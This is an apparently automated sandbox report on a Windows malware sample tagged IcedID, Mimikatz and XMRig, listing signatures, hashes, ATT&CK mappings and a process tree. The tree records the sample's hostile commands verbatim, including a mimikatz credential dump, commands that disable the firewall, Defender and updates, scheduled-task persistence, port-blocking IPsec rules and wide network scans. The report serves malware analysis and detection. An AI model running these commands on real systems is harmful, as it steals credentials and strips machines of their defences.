Analysis
-
max time kernel
150s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
-
submitted
09/06/2024, 04:15
General
-
Target
2024-06-09_cabff7912564878dd88b22aeb241d7c2_hacktools_icedid_mimikatz.exe
-
Size
7.9MB
-
MD5
cabff7912564878dd88b22aeb241d7c2
-
SHA1
8b5d322d4955a5045059b46875b619394c44fae5
-
SHA256
ce0e5c9911c99f69746513826e9d6e325ca4df6aa975913924a1ae815aad174f
-
SHA512
09a5d5fa06c4343b7b95917251cbebade83cce793b8651b19133374120510d3a7bea6f9efc02034277f0d058178a7904fc707949789ee91749acce45ff32a2e4
-
SSDEEP
196608:MxygkmknGzwHdOgEPHd9BRX/nivPlTXTYo:Y5jz0E51/iv1
Malware Config
Signatures
-
Disables service(s) 3 TTPs
-
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Contacts a large (29829) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Detects executables containing SQL queries to confidential data stores. Observed in infostealers 2 IoCs
-
UPX dump on OEP (original entry point) 40 IoCs
-
XMRig Miner payload 12 IoCs
-
mimikatz is an open source tool to dump credentials on Windows 6 IoCs
-
Drops file in Drivers directory 3 IoCs
-
Modifies Windows Firewall 2 TTPs 2 IoCs
-
Sets file execution options in registry 2 TTPs 40 IoCs
-
Executes dropped EXE 28 IoCs
-
Loads dropped DLL 12 IoCs
-
UPX packed file 36 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Creates a Windows Service
-
Drops file in System32 directory 18 IoCs
-
Drops file in Program Files directory 3 IoCs
-
Drops file in Windows directory 60 IoCs
-
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
NSIS installer 3 IoCs
-
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies data under HKEY_USERS 43 IoCs
-
Modifies registry class 14 IoCs
-
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: LoadsDriver 15 IoCs
-
Suspicious behavior: RenamesItself 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 22 IoCs
-
Suspicious use of SetWindowsHookEx 12 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\TEMP\jutytzbiz\vlznhs.exe"C:\Windows\TEMP\jutytzbiz\vlznhs.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\2024-06-09_cabff7912564878dd88b22aeb241d7c2_hacktools_icedid_mimikatz.exe"C:\Users\Admin\AppData\Local\Temp\2024-06-09_cabff7912564878dd88b22aeb241d7c2_hacktools_icedid_mimikatz.exe"1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\bezcgpgz\tvfgbtg.exe2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
-
-
C:\Windows\bezcgpgz\tvfgbtg.exeC:\Windows\bezcgpgz\tvfgbtg.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Windows\bezcgpgz\tvfgbtg.exeC:\Windows\bezcgpgz\tvfgbtg.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Sets file execution options in registry
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\mtqmrgzll\mbplvzhfy\wpcap.exe /S2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\mtqmrgzll\mbplvzhfy\wpcap.exeC:\Windows\mtqmrgzll\mbplvzhfy\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop npf4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵
-
-
-
C:\Windows\SysWOW64\net.exenet start npf4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵
-
C:\Windows\SysWOW64\net.exenet start npf3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵
-
C:\Windows\SysWOW64\net.exenet start npf3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\mtqmrgzll\mbplvzhfy\lebvttigv.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\mtqmrgzll\mbplvzhfy\Scant.txt2⤵
-
C:\Windows\mtqmrgzll\mbplvzhfy\lebvttigv.exeC:\Windows\mtqmrgzll\mbplvzhfy\lebvttigv.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\mtqmrgzll\mbplvzhfy\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\mtqmrgzll\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\mtqmrgzll\Corporate\log.txt2⤵
- Drops file in Windows directory
-
C:\Windows\mtqmrgzll\Corporate\vfshost.exeC:\Windows\mtqmrgzll\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ithblmbub" /ru system /tr "cmd /c C:\Windows\ime\tvfgbtg.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "ithblmbub" /ru system /tr "cmd /c C:\Windows\ime\tvfgbtg.exe"3⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "mefgzzchv" /ru system /tr "cmd /c echo Y|cacls C:\Windows\bezcgpgz\tvfgbtg.exe /p everyone:F"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "mefgzzchv" /ru system /tr "cmd /c echo Y|cacls C:\Windows\bezcgpgz\tvfgbtg.exe /p everyone:F"3⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ziqnhgpmv" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\jutytzbiz\vlznhs.exe /p everyone:F"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "ziqnhgpmv" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\jutytzbiz\vlznhs.exe /p everyone:F"3⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
-
-
C:\Windows\TEMP\mtqmrgzll\tbcpiiqug.exeC:\Windows\TEMP\mtqmrgzll\tbcpiiqug.exe -accepteula -mp 792 C:\Windows\TEMP\mtqmrgzll\792.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop SharedAccess2⤵
-
C:\Windows\SysWOW64\net.exenet stop SharedAccess3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SharedAccess4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh firewall set opmode mode=disable2⤵
-
C:\Windows\SysWOW64\netsh.exenetsh firewall set opmode mode=disable3⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh Advfirewall set allprofiles state off2⤵
-
C:\Windows\SysWOW64\netsh.exenetsh Advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop MpsSvc2⤵
-
C:\Windows\SysWOW64\net.exenet stop MpsSvc3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MpsSvc4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop WinDefend2⤵
-
C:\Windows\SysWOW64\net.exenet stop WinDefend3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WinDefend4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop wuauserv2⤵
-
C:\Windows\SysWOW64\net.exenet stop wuauserv3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config MpsSvc start= disabled2⤵
-
C:\Windows\SysWOW64\sc.exesc config MpsSvc start= disabled3⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config SharedAccess start= disabled2⤵
-
C:\Windows\SysWOW64\sc.exesc config SharedAccess start= disabled3⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config WinDefend start= disabled2⤵
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config wuauserv start= disabled2⤵
-
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled3⤵
- Launches sc.exe
-
-
-
C:\Windows\TEMP\xohudmc.exeC:\Windows\TEMP\xohudmc.exe2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\TEMP\mtqmrgzll\tbcpiiqug.exeC:\Windows\TEMP\mtqmrgzll\tbcpiiqug.exe -accepteula -mp 60 C:\Windows\TEMP\mtqmrgzll\60.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\mtqmrgzll\tbcpiiqug.exeC:\Windows\TEMP\mtqmrgzll\tbcpiiqug.exe -accepteula -mp 1228 C:\Windows\TEMP\mtqmrgzll\1228.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\mtqmrgzll\tbcpiiqug.exeC:\Windows\TEMP\mtqmrgzll\tbcpiiqug.exe -accepteula -mp 2600 C:\Windows\TEMP\mtqmrgzll\2600.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\mtqmrgzll\tbcpiiqug.exeC:\Windows\TEMP\mtqmrgzll\tbcpiiqug.exe -accepteula -mp 2948 C:\Windows\TEMP\mtqmrgzll\2948.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\mtqmrgzll\tbcpiiqug.exeC:\Windows\TEMP\mtqmrgzll\tbcpiiqug.exe -accepteula -mp 3108 C:\Windows\TEMP\mtqmrgzll\3108.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\mtqmrgzll\tbcpiiqug.exeC:\Windows\TEMP\mtqmrgzll\tbcpiiqug.exe -accepteula -mp 3192 C:\Windows\TEMP\mtqmrgzll\3192.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\mtqmrgzll\tbcpiiqug.exeC:\Windows\TEMP\mtqmrgzll\tbcpiiqug.exe -accepteula -mp 3760 C:\Windows\TEMP\mtqmrgzll\3760.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
-
-
C:\Windows\TEMP\mtqmrgzll\tbcpiiqug.exeC:\Windows\TEMP\mtqmrgzll\tbcpiiqug.exe -accepteula -mp 3852 C:\Windows\TEMP\mtqmrgzll\3852.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\mtqmrgzll\tbcpiiqug.exeC:\Windows\TEMP\mtqmrgzll\tbcpiiqug.exe -accepteula -mp 3920 C:\Windows\TEMP\mtqmrgzll\3920.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\mtqmrgzll\tbcpiiqug.exeC:\Windows\TEMP\mtqmrgzll\tbcpiiqug.exe -accepteula -mp 4000 C:\Windows\TEMP\mtqmrgzll\4000.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\mtqmrgzll\tbcpiiqug.exeC:\Windows\TEMP\mtqmrgzll\tbcpiiqug.exe -accepteula -mp 1892 C:\Windows\TEMP\mtqmrgzll\1892.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\mtqmrgzll\tbcpiiqug.exeC:\Windows\TEMP\mtqmrgzll\tbcpiiqug.exe -accepteula -mp 2064 C:\Windows\TEMP\mtqmrgzll\2064.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\mtqmrgzll\tbcpiiqug.exeC:\Windows\TEMP\mtqmrgzll\tbcpiiqug.exe -accepteula -mp 988 C:\Windows\TEMP\mtqmrgzll\988.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\mtqmrgzll\tbcpiiqug.exeC:\Windows\TEMP\mtqmrgzll\tbcpiiqug.exe -accepteula -mp 3060 C:\Windows\TEMP\mtqmrgzll\3060.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\mtqmrgzll\tbcpiiqug.exeC:\Windows\TEMP\mtqmrgzll\tbcpiiqug.exe -accepteula -mp 2396 C:\Windows\TEMP\mtqmrgzll\2396.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\mtqmrgzll\tbcpiiqug.exeC:\Windows\TEMP\mtqmrgzll\tbcpiiqug.exe -accepteula -mp 4540 C:\Windows\TEMP\mtqmrgzll\4540.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c C:\Windows\mtqmrgzll\mbplvzhfy\scan.bat2⤵
-
C:\Windows\mtqmrgzll\mbplvzhfy\vysezpigj.exevysezpigj.exe TCP 191.101.0.1 191.101.255.255 445 512 /save3⤵
- Executes dropped EXE
- Drops file in Windows directory
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵
-
-
-
C:\Windows\SysWOW64\dipzew.exeC:\Windows\SysWOW64\dipzew.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\jutytzbiz\vlznhs.exe /p everyone:F1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\TEMP\jutytzbiz\vlznhs.exe /p everyone:F2⤵
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\bezcgpgz\tvfgbtg.exe /p everyone:F1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\bezcgpgz\tvfgbtg.exe /p everyone:F2⤵
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\tvfgbtg.exe1⤵
-
C:\Windows\ime\tvfgbtg.exeC:\Windows\ime\tvfgbtg.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\jutytzbiz\vlznhs.exe /p everyone:F1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\TEMP\jutytzbiz\vlznhs.exe /p everyone:F2⤵
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\bezcgpgz\tvfgbtg.exe /p everyone:F1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\bezcgpgz\tvfgbtg.exe /p everyone:F2⤵
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\tvfgbtg.exe1⤵
-
C:\Windows\ime\tvfgbtg.exeC:\Windows\ime\tvfgbtg.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Defense Evasion
Impair Defenses
1Disable or Modify System Firewall
1Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
95KB
MD586316be34481c1ed5b792169312673fd
SHA16ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5
SHA25649656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918
SHA5123a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc
-
Filesize
275KB
MD54633b298d57014627831ccac89a2c50b
SHA1e5f449766722c5c25fa02b065d22a854b6a32a5b
SHA256b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9
SHA51229590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3
-
Filesize
693B
MD5f2d396833af4aea7b9afde89593ca56e
SHA108d8f699040d3ca94e9d46fc400e3feb4a18b96b
SHA256d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34
SHA5122f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01
-
Filesize
4.2MB
MD56e09bd83922b371a40f5e35023463a92
SHA18b6b6eed1100aae00d4316a8c17f2b48cac9b1fa
SHA256c3b0a522e7d5b169011cdb9edfbf9463c3af37802c4d9c5bef95beaadc3c1ea8
SHA5124233e2686d7fa3543ae30b784479b7c105831af8d2c2b5906049cb7e842b9f2d5bd5103ec8c51d093ab4db13e6f22a14c7a618c70072d6d2f8d3eb378f228db3
-
Filesize
25.8MB
MD51e409e41e046c1cb985f2ea9c1a77d0d
SHA1cedfb4b7de265eb9243d4dad3b17ea9336692bb2
SHA25607e9fb16ec02c6da2f703f841d2b7c49f851632c7e6942e0562232c351ad6933
SHA512ee55c3ad6f00eda8b87117d577987854a25396ffa1bdcdcec19363b1787e00c49515ccf0b532a836e9bcd91175a55bffbda66caf7f167fa1cf103d40a5fbc61a
-
Filesize
1.2MB
MD5cf317cde2326b1db97946a4dcd09df5c
SHA1791a7f7e927a37fff1a5edba43b73d7a80c46428
SHA2562111a9ee3141d910fce3e794dd1cd160b4c9e5ec3b800d828bd66238aeade006
SHA5121a94b093b1b23195339beba0ef5a57eb41f8b9cd24eb455a1ec988f010ebc45b793b461b800ba13677d59ccad30eb8b2bddda59c17651cfb82ef3db570438810
-
Filesize
7.4MB
MD54f8e18e6dd33b8a5ed79d412099a2bef
SHA1e5fb8cb37926cde840afa2656b1d577e1a7f72d5
SHA2565b487690e9cfd18b0c347e39f5063db6fa2659424e4811cf5924162554dfdad7
SHA51206f765ac9f823332e72e27752023e133617e4418d4fcbed88a092521fcbe384f8a2185a343360caa47328dc3b55083c06fa2863a1ae6a9e2880643a8ce6998ae
-
Filesize
818KB
MD5653c4855c7f9c48c74935872f2cbc9c1
SHA10689bb2125f462f6ad9196ca146cff2ccbd0202d
SHA256c0ee5d7a59a8f46f62520bb85c587f1146c3ce32480102b1448cbcc6420df291
SHA512b256a8a2b8688ca9836bd176b8692acac86c7a874eadb6b8822ebb71bd8bffa891871921ee595fba71a8b34666a63fc1dc1549cde2c6da2b5648085c977ad2e3
-
Filesize
3.8MB
MD56c431bd3b2ee971416aa2403511ee2ff
SHA14431bce9e7319f6f4710c8d6660de8ec62580193
SHA256e67cde0d224337258186d65fc4e2cef7ba4f3054aea8d85559393466c940a0a7
SHA512dcc5cf2bdaf961e4adbfcb41d9312e9bc46ba129c47115ecc7e1cf9b18b3a676905dc473218ee85652fc698c748d185baba2d1efe38198cce30f127d0d450c91
-
Filesize
2.9MB
MD5ee8851c1a2393ebc92641e58da7702bd
SHA1a092974457d644bc985339f23c7e095edb73e881
SHA256dd1500389769e56ac384ca3fe29f6d6fa53cbc61ea17c86c2323c8f4a201b87c
SHA51267bfb91d5989e02b7bd3995218d113a09bea28abd4b41123d7b08caa32bd4b5cd2e4338b7f53463c6df80c98eb443792ccc6ef69c078ebf942a1a7bbe776fe5d
-
Filesize
20.6MB
MD5837284aa3db5090644b7cd9b0553680c
SHA1e87197e3b9316067f2e701048893c0100fbd4654
SHA256cd2698fe47b9f2c2ccf06e73e177d8a6a27193aa39e6a4cb6680df3d2546e368
SHA512a1cfb72755affb28fa53139b82775af97a939113dc4fc93a9bb08132828a2e8591897b7649fab83aafd7e958e1db8f560188bdeb9e7c6442acf7f91554d9d941
-
Filesize
4.2MB
MD548002f8976e826ad3cb058fdd68ac448
SHA1cd398c266b9e2654773fc458148cc5fa48c5ce6f
SHA2566189d5e4323eecc74f64366e259c205002ca2b1350c14f2f8e4af237b162fa42
SHA51247887835ff1c4f067e8591ab78ed835ae9532acd2a3863b27629cf11b2365c386346f7e9e2f7a0bf5757dd12904b4180f51cfe9d6eddf15b5524ac5966714936
-
Filesize
44.3MB
MD5d97d575a025c3c548b7936bf1fcee6f0
SHA181e53acc0912cc5c41b6529b766ee22449a32560
SHA25679c4d97b06f182bebbcb0caf4d2ba8340cee26c2653bc67fdcd9d0ade9dbdf30
SHA512ba69a720057e36b5f5376821ab70e17362f1c909c1fbcb834b988cac5163a430848c95dadda3a41956a36c53e208bd3df603ab58f0ec936cfd6c4cd649ec7c8e
-
Filesize
33.5MB
MD5a2b47addf209a4b32826de974ba4b7c6
SHA1c5b7fd35b3db92649495239c18f5927a40e8518f
SHA256b294b13364e5b25d18fb7c18f7e9fae98da4f954c8147ad445a075c099dbd966
SHA512c1b30dcd3f6ffa45945531a9693b20dd8e0ff4697e87d87aecbc81b74ca5d06fa5b3fda337891d2a872f93b21290697b49e4e8bef8661ba92b090bdab83f5118
-
Filesize
2.0MB
MD50fd5a53a3bc1efc9d87ea1aa4ea11945
SHA1cbaa3831a02ad7eef890f18987015e7539596c4f
SHA2562bd9cde1c3e9e03f52d062d4d57d3099cc01d455347ff6aaaaf850a074e9318c
